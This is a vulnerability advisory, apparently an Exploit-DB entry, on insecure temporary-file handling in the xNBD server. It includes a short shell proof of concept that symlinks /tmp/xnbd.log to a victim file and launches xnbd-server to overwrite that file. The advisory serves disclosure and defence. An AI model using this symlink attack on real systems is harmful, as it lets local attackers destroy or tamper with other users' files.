xNBD Insecure Temporary File Handling

vendor:

xNBD

by:

SecurityFocus

7,2

CVSS

HIGH

Insecure Temporary File Handling

CWE

Product Name: xNBD

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: No

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2013

xNBD Insecure Temporary File Handling

xNBD is prone to a vulnerability because it handles temporary files in an insecure manner. Local attackers may leverage this issue to perform symbolic-link attacks in the context of the affected application. Other attacks may also be possible. An attacker can create a symbolic link to a file they wish to overwrite, and then start the xNBD server. The server will then write to the file pointed to by the symbolic link, allowing the attacker to overwrite the file.

Mitigation:

Ensure that temporary files are handled securely.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/57784/info

xNBD is prone to a vulnerability because it handles temporary files in an insecure manner. 

Local attackers may leverage this issue to perform symbolic-link attacks in the context of the affected application. Other attacks may also be possible.

$ ln -s "${HOME}"/ATTACK_TARGET /tmp/xnbd.log

  $ touch DISK
  $ truncate --size=$((100*1024**2)) DISK

  $ /usr/sbin/xnbd-server --daemonize --target DISK
  xnbd-server(12462) msg: daemonize enabled
  xnbd-server(12462) msg: cmd target mode
  xnbd-server(12462) msg: disk DISK size 104857600 B (100 MB)
  xnbd-server(12462) msg: xnbd master initialization done
  xnbd-server(12462) msg: logfile /tmp/xnbd.log

  $ ls -l ~/ATTACK_TARGET
  -rw------- 1 user123 user123 653 Feb  1 16:41 \
    /home/user123/ATTACK_TARGET